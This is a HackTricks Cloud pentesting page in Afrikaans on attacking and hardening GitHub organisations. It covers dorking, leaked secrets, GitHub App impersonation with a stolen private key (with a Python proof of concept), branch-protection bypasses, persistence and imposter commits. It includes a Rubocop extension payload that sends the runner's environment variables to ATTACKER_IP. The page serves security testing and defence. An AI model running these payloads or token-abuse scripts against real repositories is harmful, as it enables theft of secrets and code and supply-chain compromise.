hacktricks-cloud/src/pentesting-ci-cd/github-security/README.md

Github Sekuriteit

{{#include ../../banners/hacktricks-training.md}}

Wat is Github

(From here) Op 'n hoë vlak, GitHub is 'n webwerf en wolk-gebaseerde diens wat ontwikkelaars help om hul kode te stoor en te bestuur, sowel as om veranderinge aan hul kode te volg en te beheer.

Basiese Inligting

{{#ref}} basic-github-information.md {{#endref}}

Eksterne Recon

Github repositories kan gekonfigureer word as publiek, privaat en intern.

• Privaat beteken dat slegs mense van die organisasie toegang sal hê.
• Intern beteken dat slegs mense van die onderneming (n onderneming kan verskeie organisasies hê) toegang sal hê.
• Publiek beteken dat alle internet toegang sal hê.

As jy die gebruikersnaam, repo of organisasie wat jy wil teiken ken, kan jy github dorks gebruik om sensitiewe inligting te vind of te soek na sensitiewe inligting lekkasies op elke repo.

Github Dorks

Github laat jou toe om vir iets te soek deur 'n gebruiker, 'n repo of 'n organisasie as omvang te spesifiseer. Daarom, met 'n lys van strings wat naby sensitiewe inligting gaan verskyn, kan jy maklik potensiële sensitiewe inligting in jou teiken soek.

Gereedskap (elke gereedskap bevat sy lys van dorks):

• https://github.com/obheda12/GitDorker (Dorks lys)
• https://github.com/techgaun/github-dorks (Dorks lys)
• https://github.com/hisxo/gitGraber (Dorks lys)

Github Lekasies

Let asseblief daarop dat die github dorks ook bedoel is om lekkasies te soek met behulp van github soekopsies. Hierdie afdeling is toegewy aan daardie gereedskap wat elke repo sal aflaai en soek na sensitiewe inligting daarin (selfs sekere diepte van verbintenisse nagaan).

Gereedskap (elke gereedskap bevat sy lys van regexes):

Kyk na hierdie bladsy: https://book.hacktricks.wiki/en/generic-methodologies-and-resources/external-recon-methodology/github-leaked-secrets.html

Warning

Wanneer jy na lekkasies in 'n repo soek en iets soos git log -p uitvoer, moenie vergeet daar mag wees ander takke met ander verbintenisse wat geheime bevat nie!

Eksterne Forks

Dit is moontlik om repos te kompromitteer deur pull versoeke te misbruik. Om te weet of 'n repo kwesbaar is, moet jy meestal die Github Actions yaml konfigurasies lees. Meer inligting hieroor hieronder.

Github Lekasies in verwyderde/intern forks

Selfs al is dit verwyder of intern, mag dit moontlik wees om sensitiewe data van forks van github repositories te verkry. Kyk dit hier:

{{#ref}} accessible-deleted-data-in-github.md {{#endref}}

Organisasie Versterking

Lid Privileges

Daar is 'n paar standaard voorregte wat aan lede van die organisasie toegeken kan word. Hierdie kan beheer word vanaf die bladsy https://github.com/organizations/<org_name>/settings/member_privileges of vanaf die Organisasies API.

• Basiese toestemmings: Lede sal die toestemming None/Lees/schrijf/Admin oor die org repositories hê. Dit word aanbeveel om None of Lees te hê.
• Repository fork: As dit nie nodig is nie, is dit beter om nie toe te laat dat lede organisasie repositories fork nie.
• Bladsy skepping: As dit nie nodig is nie, is dit beter om nie toe te laat dat lede bladsye van die org repos publiseer nie. As dit nodig is, kan jy toelaat om publieke of private bladsye te skep.
• Integrasie toegang versoeke: Met hierdie geaktiveer, sal buite medewerkers toegang kan versoek vir GitHub of OAuth apps om toegang tot hierdie organisasie en sy hulpbronne te verkry. Dit is gewoonlik nodig, maar as dit nie is nie, is dit beter om dit te deaktiveer.
• Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen
• Repository sigbaarheid verandering: As geaktiveer, sal lede met admin toestemmings vir die repository in staat wees om sy sigbaarheid te verander. As gedeaktiveer, kan slegs organisasie-eienaars repository sigbaarhede verander. As jy nie wil hê mense moet dinge publiek maak nie, maak seker dit is gedeaktiveer.
• Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen
• Repository verwydering en oordrag: As geaktiveer, sal lede met admin toestemmings vir die repository in staat wees om te verwyder of te oordra publieke en private repositories.
• Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen
• Laat lede toe om spanne te skep: As geaktiveer, sal enige lid van die organisasie in staat wees om nuwe spanne te skep. As gedeaktiveer, kan slegs organisasie-eienaars nuwe spanne skep. Dit is beter om dit gedeaktiveer te hê.
• Ek kon nie hierdie inligting in die API's antwoord vind nie, deel as jy dit doen
• Meer dinge kan geconfigureer word op hierdie bladsy, maar die vorige is diegene wat meer sekuriteit gerelateerd is.

Aksies Instellings

Verskeie sekuriteit gerelateerde instellings kan geconfigureer word vir aksies vanaf die bladsy https://github.com/organizations/<org_name>/settings/actions.

Note

Let daarop dat al hierdie konfigurasies ook op elke repository onafhanklik gestel kan word

• Github aksies beleid: Dit laat jou toe om aan te dui watter repositories workflows kan uitvoer en watter workflows toegelaat moet word. Dit word aanbeveel om te spesifiseer watter repositories toegelaat moet word en nie alle aksies toe te laat om te loop nie.
• API-1, API-2
• Fork pull versoek workflows van buite medewerkers: Dit word aanbeveel om goedkeuring vir alle buite medewerkers te vereis.
• Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen
• Voer workflows uit van fork pull versoeke: Dit is hoogs afgerade om workflows van pull versoeke uit te voer aangesien onderhouders van die fork oorsprong die vermoë sal hê om tokens met lees toestemmings op die bron repository te gebruik.
• Ek kon nie 'n API met hierdie inligting vind nie, deel as jy dit doen
• Workflow toestemmings: Dit word hoogs aanbeveel om slegs lees repository toestemmings te gee. Dit is afgerade om skryf en skep/goedkeur pull versoek toestemmings te gee om die misbruik van die GITHUB_TOKEN wat aan lopende workflows gegee word, te vermy.
• API

Integrasies

Laat weet my as jy die API eindpunt ken om hierdie inligting te bekom!

• Derdeparty toepassing toegang beleid: Dit word aanbeveel om die toegang tot elke toepassing te beperk en slegs die nodige te laat (na hersiening).
• Gemonteerde GitHub Apps: Dit word aanbeveel om slegs die nodige te laat (na hersiening).

Recon & Aanvalle wat kredensiale misbruik

Vir hierdie scenario gaan ons veronderstel dat jy toegang tot 'n github rekening verkry het.

Met Gebruiker Kredensiale

As jy op een of ander manier reeds kredensiale vir 'n gebruiker binne 'n organisasie het, kan jy net aanmeld en kyk watter onderneming en organisasie rolle jy het, as jy 'n gewone lid is, kyk watter toestemmings gewone lede het, in watter groepe jy is, watter toestemmings jy het oor watter repos, en hoe die repos beskerm word.

Let daarop dat 2FA dalk gebruik word sodat jy slegs toegang tot hierdie inligting sal hê as jy ook daardie toets kan slaag.

Note

Let daarop dat as jy slaag om die user_session koekie (huidiglik geconfigureer met SameSite: Lax) te steel, jy kan volledig die gebruiker naboots sonder om kredensiale of 2FA te benodig.

Kyk na die afdeling hieronder oor tak beskerming omseilings in geval dit nuttig is.

Met Gebruiker SSH Sleutel

Github laat gebruikers toe om SSH sleutels in te stel wat as authentikasie metode gebruik sal word om kode namens hulle te ontplooi (geen 2FA word toegepas nie).

Met hierdie sleutel kan jy veranderings in repositories waar die gebruiker sekere voorregte het, uitvoer, egter jy kan dit nie gebruik om toegang tot die github api te verkry om die omgewing te tel nie. Jy kan egter lokale instellings tel om inligting oor die repos en gebruiker waartoe jy toegang het, te verkry:

# Go to the the repository folder
# Get repo config and current user name and email
git config --list

As die gebruiker sy gebruikersnaam as sy github gebruikersnaam gekonfigureer het, kan jy toegang verkry tot die publieke sleutels wat hy in sy rekening ingestel het in https://github.com/<github_username>.keys, jy kan dit nagaan om te bevestig dat die private sleutel wat jy gevind het, gebruik kan word.

SSH sleutels kan ook in repositories as ontplooi sleutels ingestel word. Enigeen met toegang tot hierdie sleutel sal in staat wees om projekte van 'n repository te begin. Gewoonlik in 'n bediener met verskillende ontplooi sleutels sal die plaaslike lêer ~/.ssh/config jou inligting gee oor watter sleutel verband hou.

GPG Sleutels

Soos verduidelik hier is dit soms nodig om die verbintenisse te teken of jy mag ontdek word.

Kontroleer plaaslik of die huidige gebruiker enige sleutel het met:

gpg --list-secret-keys --keyid-format=long

Met Gebruikersteken

Vir 'n inleiding oor Gebruikersteke kyk die basiese inligting.

'n Gebruikersteken kan gebruik word in plaas van 'n wagwoord vir Git oor HTTPS, of kan gebruik word om te autentiseer by die API oor Basiese Autentisering. Afhangende van die voorregte wat daaraan gekoppel is, mag jy in staat wees om verskillende aksies uit te voer.

'n Gebruikersteken lyk soos volg: ghp_EfHnQFcFHX6fGIu5mpduvRiYR584kK0dX123

Met Oauth Toepassing

Vir 'n inleiding oor Github Oauth Toepassings kyk die basiese inligting.

'n Aanvaller mag 'n kwaadwillige Oauth Toepassing skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.

Hierdie is die skoppe wat 'n Oauth toepassing kan aanvra. 'n Gebruiker moet altyd die gevraagde skoppe nagaan voordat hulle dit aanvaar.

Boonop, soos verduidelik in die basiese inligting, kan organisasies toegang tot derdeparty-toepassings gee/weier tot inligting/repos/aksies wat verband hou met die organisasie.

Met Github Toepassing

Vir 'n inleiding oor Github Toepassings kyk die basiese inligting.

'n Aanvaller mag 'n kwaadwillige Github Toepassing skep om toegang te verkry tot voorregte data/aksies van die gebruikers wat dit waarskynlik as deel van 'n phishing veldtog aanvaar.

Boonop, soos verduidelik in die basiese inligting, kan organisasies toegang tot derdeparty-toepassings gee/weier tot inligting/repos/aksies wat verband hou met die organisasie.

Vervang 'n GitHub App met sy privaat sleutel (JWT → installasie toegangsteke)

As jy die privaat sleutel (PEM) van 'n GitHub App verkry, kan jy die app ten volle vervang oor al sy installasies:

• Genereer 'n kort‑lewende JWT wat met die privaat sleutel onderteken is
• Bel die GitHub App REST API om installasies te lys
• Munt per-installasie toegangsteke en gebruik dit om te lys/klon/druk na repositories wat aan daardie installasie toegestaan is

Vereistes:

• GitHub App privaat sleutel (PEM)
• GitHub App ID (numeries). GitHub vereis dat iss die App ID is

Skep JWT (RS256):

#!/usr/bin/env python3
import time, jwt

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)

def gen_jwt():
now = int(time.time())
payload = {
"iat": now - 60,
"exp": now + 600 - 60,  # ≤10 minutes
"iss": APP_ID,
}
return jwt.encode(payload, signing_key, algorithm="RS256")

Lys installasies vir die geverifieerde toepassing:

JWT=$(python3 -c 'import time,jwt,sys;print(jwt.encode({"iat":int(time.time()-60),"exp":int(time.time())+540,"iss":sys.argv[1]}, open("priv.pem").read(), algorithm="RS256"))' 123456)

curl -sS -H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations

Skep 'n installasie-toegangstoken (geldig ≤ 10 minute):

INSTALL_ID=12345678
curl -sS -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.github+json" \
-H "X-GitHub-Api-Version: 2022-11-28" \
https://api.github.com/app/installations/$INSTALL_ID/access_tokens

Gebruik die token om toegang tot die kode te verkry. Jy kan kloon of stoot met die x‑access‑token URL vorm:

TOKEN=ghs_...
REPO=owner/name
git clone https://x-access-token:${TOKEN}@github.com/${REPO}.git
# push works if the app has contents:write on that repository

Programmatiese PoC om 'n spesifieke org te teiken en private repos te lys (PyGithub + PyJWT):

#!/usr/bin/env python3
import time, jwt, requests
from github import Auth, GithubIntegration

with open("priv.pem", "r") as f:
signing_key = f.read()

APP_ID = "123456"  # GitHub App ID (numeric)
ORG    = "someorg"

def gen_jwt():
now = int(time.time())
payload = {"iat": now-60, "exp": now+540, "iss": APP_ID}
return jwt.encode(payload, signing_key, algorithm="RS256")

auth = Auth.AppAuth(APP_ID, signing_key)
GI = GithubIntegration(auth=auth)
installation = GI.get_org_installation(ORG)
print(f"Installation ID: {installation.id}")

jwt_tok = gen_jwt()
r = requests.post(
f"https://api.github.com/app/installations/{installation.id}/access_tokens",
headers={
"Accept": "application/vnd.github+json",
"Authorization": f"Bearer {jwt_tok}",
"X-GitHub-Api-Version": "2022-11-28",
},
)
access_token = r.json()["token"]

print("--- repos ---")
for repo in installation.get_repos():
print(f"* {repo.full_name} (private={repo.private})")
clone_url = f"https://x-access-token:{access_token}@github.com/{repo.full_name}.git"
print(clone_url)

Notas:

• Installasietokens erf die app se repository‑vlak toestemmings presies (byvoorbeeld, inhoud: skryf, pull_requests: skryf)
• Tokens verval in ≤10 minute, maar nuwe tokens kan onbeperk geskep word solank jy die private sleutel behou
• Jy kan ook installasies opnoem via die REST API (GET /app/installations) met die JWT

Kompromie & Misbruik van Github Action

Daar is verskeie tegnieke om 'n Github Action te kompromitteer en te misbruik, kyk hulle hier:

{{#ref}} abusing-github-actions/ {{#endref}}

Misbruik van derdeparty GitHub Apps wat eksterne gereedskap uitvoer (Rubocop uitbreiding RCE)

Sommige GitHub Apps en PR hersien dienste voer eksterne linters/SAST uit teen pull requests met behulp van repository-beheerde konfigurasie lêers. As 'n ondersteunde gereedskap dinamiese kode laai toelaat, kan 'n PR RCE op die diens se hardeware bereik.

Voorbeeld: Rubocop ondersteun die laai van uitbreidings vanaf sy YAML konfig. As die diens 'n repo-geleverde .rubocop.yml deurgee, kan jy arbitrêre Ruby uitvoer deur 'n plaaslike lêer te vereis.

• Trigger toestande sluit gewoonlik in:
• Die gereedskap is geaktiveer in die diens
• Die PR bevat lêers wat die gereedskap herken (vir Rubocop: .rb)
• Die repo bevat die gereedskap se konfigurasie lêer (Rubocop soek .rubocop.yml enige plek)

Eksploiteer lêers in die PR:

.rubocop.yml

require:
- ./ext.rb

ext.rb (exfiltreer hardloop omgewingsveranderlikes):

require 'net/http'
require 'uri'
require 'json'

env_vars  = ENV.to_h
json_data = env_vars.to_json
url       = URI.parse('http://ATTACKER_IP/')

begin
http = Net::HTTP.new(url.host, url.port)
req = Net::HTTP::Post.new(url.path)
req['Content-Type'] = 'application/json'
req.body = json_data
http.request(req)
rescue StandardError => e
warn e.message
end

Ook sluit 'n voldoende groot dummy Ruby-lêer in (bv. main.rb) sodat die linter werklik loop.

Impakte waargeneem in die natuur:

• Volledige kode-uitvoering op die produksie-loper wat die linter uitgevoer het
• Ekstraksie van sensitiewe omgewing veranderlikes, insluitend die GitHub App private sleutel wat deur die diens gebruik word, API sleutels, DB akrediteer, ens.
• Met 'n gelekte GitHub App private sleutel kan jy installasie tokens skep en lees/skryf toegang tot alle repositories wat aan daardie app toegestaan is, verkry (sien die afdeling hierbo oor GitHub App impersonasie)

Harde riglyne vir dienste wat eksterne gereedskap uitvoer:

• Behandel repository-gelewer gereedskap konfigurasies as onbetroubare kode
• Voer gereedskap uit in styf geïsoleerde sandboxes sonder sensitiewe omgewing veranderlikes
• Pas die minste bevoegdhede akrediteer en lêerstelsel isolasie toe, en beperk/weier uitgaande netwerk egress vir gereedskap wat nie internettoegang benodig nie

Branch Protection Bypass

• Vereis 'n aantal goedkeuringe: As jy verskeie rekeninge gecompromitteer het, kan jy dalk jou PR's van ander rekeninge aanvaar. As jy net die rekening het waarvandaan jy die PR geskep het, kan jy nie jou eie PR aanvaar nie. As jy egter toegang het tot 'n Github Action omgewing binne die repo, kan jy met die GITHUB_TOKEN dalk jou PR goedkeur en op hierdie manier 1 goedkeuring kry.
• Let wel vir hierdie en vir die Code Owners beperking dat 'n gebruiker gewoonlik nie sy eie PR's kan goedkeur nie, maar as jy dit kan, kan jy dit misbruik om jou PR's te aanvaar.
• Verwerp goedkeuringe wanneer nuwe verbintenisse gestuur word: As dit nie ingestel is nie, kan jy legitieme kode indien, wag totdat iemand dit goedkeur, en kwaadwillige kode plaas en dit in die beskermde tak saamvoeg.
• Vereis hersienings van Code Owners: As dit geaktiveer is en jy 'n Code Owner is, kan jy 'n Github Action jou PR laat skep en dit dan self goedkeur.
• Wanneer 'n CODEOWNER lêer verkeerd geconfigureer is, kla Github nie, maar dit gebruik dit nie. Daarom, as dit verkeerd geconfigureer is, is Code Owners beskerming nie toegepas nie.
• Laat gespesifiseerde akteurs toe om pull request vereistes te omseil: As jy een van hierdie akteurs is, kan jy pull request beskermings omseil.
• Sluit administrateurs in: As dit nie ingestel is nie en jy is admin van die repo, kan jy hierdie tak beskermings omseil.
• PR Hijacking: Jy kan dalk in staat wees om die PR van iemand anders te wysig deur kwaadwillige kode by te voeg, die resulterende PR self goed te keur en alles saam te voeg.
• Verwydering van Branch Protections: As jy 'n admin van die repo is, kan jy die beskermings deaktiveer, jou PR saamvoeg en die beskermings terugstel.
• Omseiling van push beskermings: As 'n repo slegs sekere gebruikers toelaat om push (kode saam te voeg) in takke te stuur (die tak beskerming mag al die takke beskerm deur die wildcard * te spesifiseer).
• As jy skrywe toegang oor die repo het, maar jy mag nie kode push nie as gevolg van die tak beskerming, kan jy steeds 'n nuwe tak skep en binne dit 'n github action skep wat geaktiveer word wanneer kode gestuur word. Aangesien die tak beskerming nie die tak sal beskerm totdat dit geskep is nie, sal hierdie eerste kode push na die tak die github action uitvoer.

Bypass Environments Protections

Vir 'n inleiding oor Github Environment kyk die basiese inligting.

In die geval dat 'n omgewing van al die takke toeganklik is, is dit nie beskerm nie en jy kan maklik toegang tot die geheime binne die omgewing verkry. Let daarop dat jy repos mag vind waar al die takke beskerm is (deur hul name te spesifiseer of deur * te gebruik) in daardie scenario, vind 'n tak waar jy kode kan push en jy kan die geheime ekstrak deur 'n nuwe github action te skep (of een te wysig).

Let op, dat jy die randgeval mag vind waar al die takke beskerm is (deur wildcard *) dit is gespesifiseer wie kode na die takke kan push (jy kan dit in die tak beskerming spesifiseer) en jou gebruiker is nie toegelaat nie. Jy kan steeds 'n pasgemaakte github action uitvoer omdat jy 'n tak kan skep en die push trigger oor homself kan gebruik. Die tak beskerming laat die push na 'n nuwe tak toe sodat die github action geaktiveer sal word.

push: # Run it when a push is made to a branch
branches:
- current_branch_name #Use '**' to run when a push is made to any branch

Let wel dat na die skepping van die tak die takbeskerming op die nuwe tak sal van toepassing wees en jy dit nie sal kan wysig nie, maar teen daardie tyd sal jy reeds die geheime afgelaai het.

Volharding

• Genereer gebruikertoken
• Steel github tokens van geheime
• Verwydering van werkvloei resultate en takke
• Gee meer regte aan die hele org
• Skep webhooks om inligting te eksfiltreer
• Nooi buitelandse samewerkers
• Verwyder webhooks wat deur die SIEM gebruik word
• Skep/wysig Github Action met 'n terugdeur
• Vind kwulnerbare Github Action vir opdraginjekie deur geheime waarde wysiging

Imposter Commits - Terugdeur via repo commits

In Github is dit moontlik om 'n PR na 'n repo van 'n fork te skep. Selfs al word die PR nie aanvaar nie, sal 'n commit id binne die oorspronklike repo geskep word vir die fork weergawe van die kode. Daarom kan 'n aanvaller 'n spesifieke commit van 'n blykbaar legitieme repo wat nie deur die eienaar van die repo geskep is nie, pin.

Soos dit:

name: example
on: [push]
jobs:
commit:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@c7d749a2d57b4b375d1ebcd17cfbfb60c676f18e
- shell: bash
run: |
echo 'hello world!'

Vir meer inligting, kyk na https://www.chainguard.dev/unchained/what-the-fork-imposter-commits-in-github-actions-and-ci-cd

Verwysings

• Hoe ons CodeRabbit uitgebuit het: van 'n eenvoudige PR na RCE en skrywe toegang op 1M repositories
• Rubocop uitbreidings (vereis)
• Verifikasie met 'n GitHub App (JWT)
• Lys installasies vir die geverifieerde app
• Skep 'n installasie toegangstoken vir 'n app

{{#include ../../banners/hacktricks-training.md}}